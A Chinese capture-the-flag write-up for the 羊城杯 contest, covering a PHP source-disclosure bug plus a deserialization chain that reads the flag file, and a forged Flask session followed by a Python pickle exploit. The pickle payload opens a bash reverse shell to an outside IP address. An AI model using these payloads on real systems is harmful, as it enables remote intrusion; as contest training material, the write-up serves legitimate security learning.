0%

羊城杯wp

羊城杯wp

1-1

PHP <= 7.4.21远程源码泄露漏洞

image.png

使用burp测试的时候要关掉自动填充Content-Length

勾选掉下面这一行

屏幕截图 2023-09-02 222050.png

抓包后构造payload

image.png

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>

可以看出是反序列化的题目

call_user_func()是PHP中的内置函数,用于调用第一个参数给定的回调并将其余参数作为参数传递。它用于调用用户定义的函数。

提示有hint.zip,下载,

image.png

得到一串加密后的语言,尊都假都,加解密网站

https://zdjd.vercel.app/
image.png

源码分析, 我们需要借助call_user_func(),读取文件,构造exp

思路

Bei->destruct,实例化后调用Yang->ycb()Yang->ycb//需要返回值为trueYang :finish->finish=true/1Yang->callkey=1&&finish1->name=1目的 $this->now[$name]=readfile $ary[0]=/tmp/catcatf1ag.txt

function __call($name, $ary)的两个参数

1
2
//$name为不存在的方法名
//$ary为参数
1
2
3
4
5
6
7
8
9
10
11
12
$a = new Bei();
$b= new Yang();
$b->finish->finish=1;
$a->CTF=$b;//调用call
$c=new Yang();
$c->key=1;
$c->finish1->name=1;
$c->finish->finish=1;//通过call的if判断
$c->now=["YCB1"=>"readfile"];
$a->fine=$c;
$a->rce="/tmp/catcatf1ag.txt";
echo urlencode(serialize($a));

抓包后,修改提交方式,因为是用POST提交

image.png

得到flag

1-4

根据提示下载ww.zip,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64

from flask import Flask, session, make_response, request
from secret import secret

@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"

由代码可以知道,我们需要flask session伪造签名

image.png

将签名的第一部分base64解码以后,得到了加密的密码,利用工具伪造session,

image.png

image.png

访问 /ppppppppppick1e

image.png

抓包发现/src0de,访问

得到另一段源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

这里我们可以看到pick1e = pickle.loads(pick1e),存在python反序列化漏洞,利用这个进行rce得到flag,利用反弹shell

1
2
3
4
5
6
import base64
opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"'
o.'''
print(base64.b64encode(opcode))

image.png

image.png

image.png

image.png


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/mtsl3ngmnc5kg3n5
语雀文档ID: 138091917